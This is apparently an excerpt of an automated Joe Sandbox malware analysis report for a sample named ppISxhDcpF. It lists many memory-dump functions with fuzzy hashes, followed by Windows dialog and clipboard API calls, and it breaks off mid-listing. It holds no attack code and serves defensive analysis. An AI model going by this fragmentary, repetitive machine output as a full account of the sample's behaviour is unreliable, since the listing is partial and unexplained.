Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60112b41393316e76b0e6c4d8d57eccfc4cecc819f4eef2e4c6171e974f2a4e9
Instruction ID: d92bf75db7d9c54a007ce498a5d652406604763f337a2a75d00ee9f7eadc568a
Opcode Fuzzy Hash: 60112b41393316e76b0e6c4d8d57eccfc4cecc819f4eef2e4c6171e974f2a4e9
Instruction Fuzzy Hash: B3C1A074E00218CFEB14DFA5C954B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 384B2108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfd2d3a6ee436f4bb9434494302223f3b946447f9780781c3242af49acf72a70
Instruction ID: b7cb26d663500520e97dae36d7a9025e731dbaf9449b69b076de7a1a2cf98b35
Opcode Fuzzy Hash: cfd2d3a6ee436f4bb9434494302223f3b946447f9780781c3242af49acf72a70
Instruction Fuzzy Hash: A4C1A074E00218CFEB15DFA5C994B9DBBB2BF89300F6081A9D909AB355DB359E81CF50

Function 384B29B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff21eb6d636054c2eb4be1b8c1f3312bf61a9ade584f0c1d9db6c41c11c3c361
Instruction ID: 0e7033f10cf7cdd4806c2fea600cb66c24f7e46e42ccd339103389c73dc3da46
Opcode Fuzzy Hash: ff21eb6d636054c2eb4be1b8c1f3312bf61a9ade584f0c1d9db6c41c11c3c361
Instruction Fuzzy Hash: E0C1A078E00218CFEB54DFA5C954B9DBBB2BF89300F6081A9D409AB355DB355E81CF50

Function 384B3268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a611b17a2b70a94fa2d48e468c80d82ea19d3b67fcbc039a02b32d9cd22d567b
Instruction ID: 1495855d1f889c1d569497c3a0150726cfb1a3f4c43fcc8e84b34d29463ec7b4
Opcode Fuzzy Hash: a611b17a2b70a94fa2d48e468c80d82ea19d3b67fcbc039a02b32d9cd22d567b
Instruction Fuzzy Hash: 64C1B174E00218CFEB15DFA5C954B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 384B5208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd57cbd3d80c323594cd6f7488c03fb02299d877a4b822ec36fbe2efae0749b9
Instruction ID: 9949fffad08b75cc838c7827cda48d5f98f3e75ecccc4707ec3c73339a92cfe4
Opcode Fuzzy Hash: fd57cbd3d80c323594cd6f7488c03fb02299d877a4b822ec36fbe2efae0749b9
Instruction Fuzzy Hash: 05C1B274E00218CFDB55DFA5C954B9DBBB2BF89300F6081A9D409AB355DB355E85CF10

Function 384B5AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a406539bf132e71243fa03c440d7b299722a5d321b7b3f39d1d2427aeb15e7c
Instruction ID: 95967c0157469d44acede0f6a76b8a100266a0437f53cf8ca7f05c71b337e89c
Opcode Fuzzy Hash: 4a406539bf132e71243fa03c440d7b299722a5d321b7b3f39d1d2427aeb15e7c
Instruction Fuzzy Hash: C9C1A074E00218CFDB15DFA5C994B9DBBB2BF89300F6081A9D809AB355DB355E85CF50

Function 384B6368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a273905b774153ed71524a3c89ac18c754267da3bd3b1d5b80010ec471296249
Instruction ID: 75b927b33ad4eab9a9f5e0d25d7ce9821338410beb1025fbbf09c10211f73e20
Opcode Fuzzy Hash: a273905b774153ed71524a3c89ac18c754267da3bd3b1d5b80010ec471296249
Instruction Fuzzy Hash: 90C1A274E00218CFEB14DFA5C994B9DBBB2BF89300F6081A9D509AB355DB355E81CF50

Function 384B3B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a79dd50b669e082630bd4c75bc2cf7b765ed97464d799882f3deb3323e2ad8d
Instruction ID: d439c8b315b478e78183eab562604975b85c2c0472e163ca46d4007f3ea719a8
Opcode Fuzzy Hash: 2a79dd50b669e082630bd4c75bc2cf7b765ed97464d799882f3deb3323e2ad8d
Instruction Fuzzy Hash: CFC1A078E00218CFEB15DFA5C954B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 384B43C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf8726f1dadcf9b420ac48390d1d7b74d9d10efe79b223506a4265acbdf9a54f
Instruction ID: e0b8e3b402a6d0324b3fa906912abc5d195e384f84c8c23df58e0dc172c62041
Opcode Fuzzy Hash: bf8726f1dadcf9b420ac48390d1d7b74d9d10efe79b223506a4265acbdf9a54f
Instruction Fuzzy Hash: B0C1A178E00218CFDB14DFA5C994B9DBBB2BF89300F6081A9D809AB355DB355E81CF50

Function 384B1400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8946e2c27ebdfd598abc6d2e6491cbae8708737166d9db51de2c73654373d069
Instruction ID: 7f6f8f930339bd38302275e83ac496dffa62acb1e5ff2a99639a106de6ca9d43
Opcode Fuzzy Hash: 8946e2c27ebdfd598abc6d2e6491cbae8708737166d9db51de2c73654373d069
Instruction Fuzzy Hash: DFC1A178E00218CFDB15DFA5C994B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 384B6C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d78ec2f974ceec3d3b1e03a86b8e1ace231ae6e870fa683eceebf9122cf126e
Instruction ID: ed7b3335536d30bdf54147fb89ee7ef91c4714accf26c4a1c00d838e854fd97e
Opcode Fuzzy Hash: 6d78ec2f974ceec3d3b1e03a86b8e1ace231ae6e870fa683eceebf9122cf126e
Instruction Fuzzy Hash: A2C1A174E00218CFEB15DFA5C954B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 384B74C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78d41433034548772d009b022577f11644edbef5a62a7c40ef5ca4907e696811
Instruction ID: 4165603a3a068ad9481423ee9575c422118e95afff9eab11635cdbd7009e68e1
Opcode Fuzzy Hash: 78d41433034548772d009b022577f11644edbef5a62a7c40ef5ca4907e696811
Instruction Fuzzy Hash: F4C1A174E00218CFEB54DFA5C994B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 384B1CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f21eec3ae21d5b9f66564b8f2080c9b76fab3431f28955f3d822eb3b29600f29
Instruction ID: cdf620231a5c6ff853b05ee27be0ee70126cbf6f878cb3e31720072b80a54722
Opcode Fuzzy Hash: f21eec3ae21d5b9f66564b8f2080c9b76fab3431f28955f3d822eb3b29600f29
Instruction Fuzzy Hash: 31C1A178E00218CFDB14DFA5C994B9DBBB2BF89300F6081A9D909AB355DB355E81CF50

Function 384B2560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84eb390c546f833bda45e1b9207730dbe3872772a40356beb821d4d944978570
Instruction ID: d88d73bfd805b61ac71e2cd99d0562e9c82508e432af9ff62260aaed133c8b6a
Opcode Fuzzy Hash: 84eb390c546f833bda45e1b9207730dbe3872772a40356beb821d4d944978570
Instruction Fuzzy Hash: 7CC1A278E00218CFDB15DFA5C954B9DBBB2BF89300F5081A9D809AB355DB355E85CF50

Function 384B4DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f93a30ac9012cce94871b619b4219c3b1a6874d3f1d9e1779436d6d4ea625c6
Instruction ID: ac6f4909da38e31e7d8e80e3da0fc413302fb44c06eb06adee8c97031fe1e07f
Opcode Fuzzy Hash: 5f93a30ac9012cce94871b619b4219c3b1a6874d3f1d9e1779436d6d4ea625c6
Instruction Fuzzy Hash: 00C1B074E00218CFEB15DFA5C994B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 384B5660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 439920cab5a8b70e4eaaa6660aed6442c2e6d964cbb6720ac869a76dd10581d3
Instruction ID: 7d5769727f902e80d808c59b7766ef4332dbc8d0f462ec0575e21cf4fd35fbe6
Opcode Fuzzy Hash: 439920cab5a8b70e4eaaa6660aed6442c2e6d964cbb6720ac869a76dd10581d3
Instruction Fuzzy Hash: 25C1A074E00218CFEB14DFA5C994B9DBBB2AF89300F6081A9D809BB355DB359E85CF50

Function 384B2E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 241d919c2afa4a0092f5024fc8aba0dfecaf2bae352e0eba3340a24e6b41abf0
Instruction ID: 532eb01389089e5f462444bbcac23dab2d0ffd17f8f1fa4369c04196a4e26128
Opcode Fuzzy Hash: 241d919c2afa4a0092f5024fc8aba0dfecaf2bae352e0eba3340a24e6b41abf0
Instruction Fuzzy Hash: 35C19074E00218CFDB15DFA5C994B9DBBB2AF89300F6081A9D809BB355DB359E85CF50

Function 384B36C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d5872947cf2672aaab5d4268bea5029e550cc0d8b23b06f9907be07afbb16ea
Instruction ID: 27b2682dd86c3a68a7e3cf2e08ce2753d18cff11c9e1c27acf79e03690dddc6d
Opcode Fuzzy Hash: 8d5872947cf2672aaab5d4268bea5029e550cc0d8b23b06f9907be07afbb16ea
Instruction Fuzzy Hash: BAC1A078E00218CFEB14DFA5C954B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 384B3F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04b8565fe70008a0c86f9994686b38d77e25bec07619c3d08058775084e5b114
Instruction ID: 280c938bfdb45c69caf9cc248882348db05d0bd7d6a85d6ea252cadc73cee848
Opcode Fuzzy Hash: 04b8565fe70008a0c86f9994686b38d77e25bec07619c3d08058775084e5b114
Instruction Fuzzy Hash: FBC1A178E00218CFDB54DFA5C954B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 384B5F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ffbba5ec61b978aa60527b7f5ddaacb94755cd4c536621fa3f46f648e808a91
Instruction ID: 3e7f1d145b09afe5f7f52a5c5c63fe2dbc8068b5b9477f4a2616fb624112ee43
Opcode Fuzzy Hash: 6ffbba5ec61b978aa60527b7f5ddaacb94755cd4c536621fa3f46f648e808a91
Instruction Fuzzy Hash: 06C1A074E00218CFEB54DFA5C954B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 384B67C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd3140569e9d6875f0a3df907c3d4779a8e0a463e0f8ee4fd2d885bab72caa14
Instruction ID: fcb1f5ff03071f33fcc1c5e507e5fc3bd7341a4c531c5418eda2d928fcb120ea
Opcode Fuzzy Hash: dd3140569e9d6875f0a3df907c3d4779a8e0a463e0f8ee4fd2d885bab72caa14
Instruction Fuzzy Hash: 98C1A074E00218CFEB14DFA5C954B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 384B0FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee5706b139daa00a8045cef46a3b56303c35b82f601edcea2fb6bc9519f14427
Instruction ID: 2e6801419344d51b9750236f7747b0810fdfce2bcbd85efd51864140558d5848
Opcode Fuzzy Hash: ee5706b139daa00a8045cef46a3b56303c35b82f601edcea2fb6bc9519f14427
Instruction Fuzzy Hash: 4EC1A178E00218CFEB54DFA5C954B9DBBB2BF89300F6081A9D409AB355DB359E85CF10

Function 3801C1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cdbcd911cd6b6349fe6027926f3a9d5ebb4158858a43c5855eff5dbf919b2cd
Instruction ID: a7c746369f1b9f94fc9416c81b28569c97f0a06faae32bea4a0507622a3a445b
Opcode Fuzzy Hash: 8cdbcd911cd6b6349fe6027926f3a9d5ebb4158858a43c5855eff5dbf919b2cd
Instruction Fuzzy Hash: D2C19F78E00218CFDB54DFA5C994B9DBBB2BF89300F6081A9D809AB355DB359A85CF50

Function 3801F05A Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 363231ccf2243e11ef043679435eadb5304baaa4041649821273dc0cbdcb4e4a
Instruction ID: cd5e2d29bf16bb0457602518f374a6ce4fff0dd9f14f8700fcb5baab97b8055c
Opcode Fuzzy Hash: 363231ccf2243e11ef043679435eadb5304baaa4041649821273dc0cbdcb4e4a
Instruction Fuzzy Hash: 26C18F78E00218CFDB54DFA5C994B9DBBB2BF89300F6081A9D909BB355DB359A81CF50

Function 3801B4F2 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52468259e4e32c28178b618ee1775249c02bf18b4d091694fc85bb85e7fb056f
Instruction ID: abb11bd33f9357d1d5ba9b859ecd6dee22070e720e00a62f6911df1e57091234
Opcode Fuzzy Hash: 52468259e4e32c28178b618ee1775249c02bf18b4d091694fc85bb85e7fb056f
Instruction Fuzzy Hash: DFC19F78E00218CFDB54DFA5C994B9DBBB2BF89300F6081A9D909BB355DB359A81DF10

Function 3801BDA2 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda061335ea52ed4d451387c37610afc6452f289e690e59ccae92340a61bf814
Instruction ID: 364f0eadf5c46e0b145c49dc08a918dc25e277855e8da5959f3168c936a9ac37
Opcode Fuzzy Hash: fda061335ea52ed4d451387c37610afc6452f289e690e59ccae92340a61bf814
Instruction Fuzzy Hash: E4C19F78E00218CFDB54DFA5C994B9DBBB2BF89300F6081A9D909BB355DB359A85CF10

Function 384B8193 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba386bff9dcdd2b4b21b200cb19a096ae5e77c296a7cea19dbc0ca97cc8bb302
Instruction ID: be31583e7f46e1c0e908139a2eba4346348e263db7ec8abe7aaba45601677202
Opcode Fuzzy Hash: ba386bff9dcdd2b4b21b200cb19a096ae5e77c296a7cea19dbc0ca97cc8bb302
Instruction Fuzzy Hash: 44A19D74E01228CFDB65DF64C894B99BBB2BB8A301F5095EAD44DA7350DB319E81CF50

Function 384B8373 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80ae9027088a0a5f423dbfd0bad1da7e44051ded1dd8a6c43372acc84dd8fecd
Instruction ID: cb980102654906a4857d965384147edf00c73bbede90d206a3beee71dfbdfd87
Opcode Fuzzy Hash: 80ae9027088a0a5f423dbfd0bad1da7e44051ded1dd8a6c43372acc84dd8fecd
Instruction Fuzzy Hash: 46518074A01229CFDB65DF60C854B9DB7B2BB4A301F5095EAD40AA7350DB329E82CF50

Function 384BCBE7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39a71c4a60058bc55a7e8eb51607c469a03c879d89c4446ca0ea7ddcd2075c62
Instruction ID: c4f96e064da74ccbec3d04fa49f014b2e9088cbcd12d8c6d4318a3751fe3b677
Opcode Fuzzy Hash: 39a71c4a60058bc55a7e8eb51607c469a03c879d89c4446ca0ea7ddcd2075c62
Instruction Fuzzy Hash: 21D06C78E4421C8ACB21DFA4D9442ECB771BBAA320F0024E6808CA7200DB709E948A56

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,?), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(?,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,?), ref: 004054F1
ShowWindow.USER32(?), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
EnableWindow.USER32(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,?,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 004042B6 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
